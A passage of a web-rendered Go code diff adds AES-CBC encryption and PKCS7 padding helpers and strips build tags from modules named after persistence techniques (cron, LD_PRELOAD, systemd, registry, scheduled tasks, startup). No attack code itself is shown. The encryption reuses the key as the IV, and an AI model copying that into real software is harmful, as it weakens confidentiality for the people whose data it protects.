|
if err != nil {
|
||||||
|
return "", fmt.Errorf("创建加密块失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取块大小并填充数据
|
||||||
|
blockSize := block.BlockSize()
|
||||||
|
origData = PKCS7Padding(origData, blockSize)
|
||||||
|
|
||||||
|
// 创建CBC加密模式
|
||||||
|
blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize])
|
||||||
|
|
||||||
|
// 加密数据
|
||||||
|
encrypted := make([]byte, len(origData))
|
||||||
|
blockMode.CryptBlocks(encrypted, origData)
|
||||||
|
|
||||||
|
// base64编码
|
||||||
|
return base64.StdEncoding.EncodeToString(encrypted), nil
|
||||||
|
}
|
||||||
|
|
||||||
// AesDecrypt 使用AES-CBC模式解密字符串
|
// AesDecrypt 使用AES-CBC模式解密字符串
|
||||||
func AesDecrypt(crypted string, key string) (string, error) {
|
func AesDecrypt(crypted string, key string) (string, error) {
|
||||||
@ -77,6 +104,12 @@ func AesDecrypt(crypted string, key string) (string, error) {
|
|||||||
return string(origData), nil
|
return string(origData), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// PKCS7Padding 对数据进行PKCS7填充
|
||||||
|
func PKCS7Padding(data []byte, blockSize int) []byte {
|
||||||
|
padding := blockSize - len(data)%blockSize
|
||||||
|
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
|
||||||
|
return append(data, padtext...)
|
||||||
|
}
|
||||||
|
|
||||||
// PKCS7UnPadding 去除PKCS7填充
|
// PKCS7UnPadding 去除PKCS7填充
|
||||||
func PKCS7UnPadding(data []byte) ([]byte, error) {
|
func PKCS7UnPadding(data []byte) ([]byte, error) {
|
@ -1,5 +1,3 @@
|
|||||||
//go:build linux
|
|
||||||
|
|
||||||
package crontask
|
package crontask
|
||||||
|
|
||||||
import (
|
import (
|
@ -1,5 +1,3 @@
|
|||||||
//go:build linux
|
|
||||||
|
|
||||||
package ldpreload
|
package ldpreload
|
||||||
|
|
||||||
import (
|
import (
|
@ -1,5 +1,3 @@
|
|||||||
//go:build linux
|
|
||||||
|
|
||||||
package shellenv
|
package shellenv
|
||||||
|
|
||||||
import (
|
import (
|
@ -1,5 +1,3 @@
|
|||||||
//go:build linux
|
|
||||||
|
|
||||||
package systemdservice
|
package systemdservice
|
||||||
|
|
||||||
import (
|
import (
|
@ -1,5 +1,3 @@
|
|||||||
//go:build windows
|
|
||||||
|
|
||||||
package winregistry
|
package winregistry
|
||||||
|
|
||||||
import (
|
import (
|
@ -1,5 +1,3 @@
|
|||||||
//go:build windows
|
|
||||||
|
|
||||||
package winschtask
|
package winschtask
|
||||||
|
|
||||||
import (
|
import (
|
@ -1,5 +1,3 @@
|
|||||||
//go:build windows
|
|
||||||
|
|
||||||
package winservice
|
package winservice
|
||||||
|
|
||||||
import (
|
import (
|
@ -1,5 +1,3 @@
|
|||||||
//go:build windows
|
|
||||||
|
|
||||||
package winstartup
|
package winstartup
|
||||||
|
|
||||||
import (
|
import (
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user